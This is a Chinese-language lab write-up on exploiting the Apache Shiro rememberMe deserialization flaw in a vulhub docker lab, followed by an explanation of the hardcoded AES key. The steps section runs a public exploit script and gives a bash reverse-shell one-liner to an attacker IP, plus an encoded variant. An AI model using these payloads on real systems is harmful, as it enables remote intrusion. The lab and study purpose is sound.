0x00 實驗環境
攻擊機:Win 10
靶機也可作爲攻擊機:Ubuntu18 (docker搭建的vulhub靶場)(兼顧反彈shell的攻擊機)
0x01 影響版本
Shiro <=1.2.24
0x02 入坑說明
(1)實驗首先需要自行到github上下載exp
(2)運行環境爲python3 ,需要將pip更新:python3 -m pip install --upgrade pip 並下載一些調用的庫:pycryptodome、Crypto、requests等庫
0x03 實驗步驟
(1)打開有漏洞的網頁,可以發現是一個登陸頁面:
(2)我們首先抓包試試,可以發現這是一個可能存在Shiro反序列化的網站
(3)此時我們可以直接使用網上的exp進行攻擊:
python3 shiro_exploit.py -t 3 -u http://肉雞IP:8080 -p "彈shell的一條命令"
(4)彈shell的命令可以直接先構造好,然後在以下網站進行編碼,這是因爲Linux的命令行有的時候無法識別一些符號的命令:
bash -i >& /dev/tcp/你的攻擊機IP/2333 0>&1
(5)攻擊機監聽,然後在本機win10上運行payload:
python3 shiro_exploit.py -t 3 -u http://肉雞網址:8080 -p "bash -c {echo,YmIXXXXXXXXXXXXXXJjE=}|{base64,-d}|{bash,-i}"
shell反彈成功!
0x05 實驗原理
參考原文:https://www.cnblogs.com/loong-hon/p/10619616.html
Shiro提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。
Shiro對rememberMe的cookie做了加密處理,shiro在
CookieRememberMeManaer
類中將cookie中rememberMe字段內容分別進行 序列化、AES加密、Base64編碼操作。在識別身份的時候,需要對Cookie裏的rememberMe字段解密。根據加密的順序,不難知道解密的順序爲:
- 獲取rememberMe cookie
- base64 decode
- 解密AES
- 反序列化
但是,AES加密的密鑰Key被硬編碼在代碼裏,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼後,作爲cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。